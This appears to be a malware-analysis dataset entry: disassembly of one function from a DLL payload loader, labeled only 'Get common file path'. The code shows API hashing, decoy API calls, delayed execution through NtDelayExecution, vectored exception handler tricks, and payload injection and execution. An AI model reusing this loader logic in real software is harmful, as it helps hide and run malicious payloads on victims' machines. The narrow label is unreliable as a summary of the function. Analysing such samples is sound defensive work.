Function at 0x180003520
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x240
xor r15d, r15d
cmp qword [0x180008098], r15
mov qword [rsp + 0x270], r15
je 0x180003b43
cmp dword [0x1800080a0], r15d
je 0x180003b43
mov ebx, r15d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [r15 + 8]
mov r8d, 0xff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x180003582
mov dword [rax], 0x28
mov rbx, rax
cmp dword [rbx], 0x15e
jle 0x1800035f8
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowLongPtrW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterClassW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsWindowVisible]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
xor r9d, r9d
mov dword [rsp + 0x28], r15d
xor r8d, r8d
mov qword [rsp + 0x20], r15
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsDialogMessageW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x208
call fcn.180001e20
xor r9d, r9d
lea rax, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0xe]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov ecx, 0x6ae69f02
call fcn.180001000
mov rcx, rax
mov edx, 0x91765761
call fcn.1800011e0
mov ecx, 0x6ae69f02
mov r14, rax
call fcn.180001000
mov rcx, rax
mov edx, 0x8670f6ca
call fcn.1800011e0
mov rbp, rax
test r14, r14
je 0x180003a7f
test rax, rax
je 0x180003a7f
lea rcx, [0x180008030]
call fcn.180001620
test eax, eax
je 0x180003b1c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x180003713
movss xmm0, dword [0x180008004]
lea rdx, str._i__Delaying_Execution_For__d_Seconds_...
mulss xmm0, dword [0x1800068b4]
mov rcx, rax
cvttss2si r8, xmm0
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
movss xmm0, dword [0x180008004]
mulss xmm0, dword [0x1800068b8]
mov rdx, qword [0x180008088]
mov ecx, dword [0x180008080]
cvttss2si rax, xmm0
imul eax, eax, 0x2710
neg rax
mov qword [rsp + 0x278], rax
call fcn.180005710
lea rdx, [rsp + 0x278]
xor ecx, ecx
call fcn.180005732
lea rdi, str.C:CodeModule_CodeNew_ModulesModule_23PayloadLoaderDllLoaderdllmain.c
mov ebx, eax
test eax, eax
jns 0x180003815
cmp eax, 0x102
je 0x180003815
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x180003815
mov edx, 0x5c
mov rcx, rdi
call fcn.180001e50
test rax, rax
je 0x1800037bc
mov edx, 0x5c
mov rcx, rdi
call fcn.180001e50
inc rax
jmp 0x1800037bf
mov rax, rdi
mov r9, rax
mov dword [rsp + 0x20], 0x37
mov r8d, ebx
lea rdx, str.____NtDelayExecution_Failed_With_Error:_0x_0.8X____s._d__n
mov rcx, rsi
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x18000387f
lea rdx, str.___DONE__n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rdx, [0x180005340]
mov ecx, 1
call r14
mov rbx, rax
test rax, rax
jne 0x180003902
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea edx, [rbx + 8]
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x180003b1c
lea edx, [rbx + 0x5c]
mov rcx, rdi
call fcn.180001e50
test rax, rax
je 0x1800038d9
lea edx, [rbx + 0x5c]
mov rcx, rdi
call fcn.180001e50
lea rdi, [rax + 1]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9, rdi
mov dword [rsp + 0x20], 0x70
mov r8d, eax
lea rdx, str.____AddVectoredExceptionHandler_Failed_With_Error:__d____s._d__n
mov rcx, rsi
call qword [sym.imp.USER32.dll_wsprintfA]
jmp 0x180003ae4
call fcn.180004db0
mov rcx, rbx
call rbp
test eax, eax
jne 0x180003982
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x180003b1c
mov edx, 0x5c
mov rcx, rdi
call fcn.180001e50
test rax, rax
je 0x180003959
mov edx, 0x5c
mov rcx, rdi
call fcn.180001e50
lea rdi, [rax + 1]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9, rdi
mov dword [rsp + 0x20], 0x7b
mov r8d, eax
lea rdx, str.____RemoveVectoredExceptionHandler_Failed_With_Error:__d____s._d__n
mov rcx, rsi
call qword [sym.imp.USER32.dll_wsprintfA]
jmp 0x180003ae4
mov edx, dword [0x1800080a0]
lea r8, [rsp + 0x270]
mov rcx, qword [0x180008098]
call fcn.1800041c0
test eax, eax
jne 0x1800039fb
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x180003b1c
mov edx, 0x5c
mov rcx, rdi
call fcn.180001e50
test rax, rax
je 0x1800039e9
mov edx, 0x5c
mov rcx, rdi
call fcn.180001e50
lea rdi, [rax + 1]
mov r9d, 0x84
lea rdx, str.____Failed_To_Inject_The_Payload____s._d__n
jmp 0x180003ad8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x180003a6b
mov r8d, 0xa
lea rdx, str._n_t_t____Executing_The_Payload_In__d_Seconds_____n
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x270]
call fcn.180003f70
xor eax, eax
jmp 0x180003b48
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
je 0x180003b1c
lea rdi, str.C:CodeModule_CodeNew_ModulesModule_23PayloadLoaderDllLoaderdllmain.c
mov edx, 0x5c
mov rcx, rdi
call fcn.180001e50
test rax, rax
je 0x180003acb
mov edx, 0x5c
mov rcx, rdi
call fcn.180001e50
lea rdi, [rax + 1]
mov r9d, 0x52
lea rdx, str.____Failed_To_Fetch_One_Or_More_Function_Pointers____s._d__n
mov r8, rdi
mov rcx, rsi
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0xfffffff5
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor r9d, r9d
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r9d, 0x21
lea r8, str.Loader.exe
lea rdx, str.Free_Debug_Console__
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 1
jne 0x180003b43
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x280]
add rsp, 0x240
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret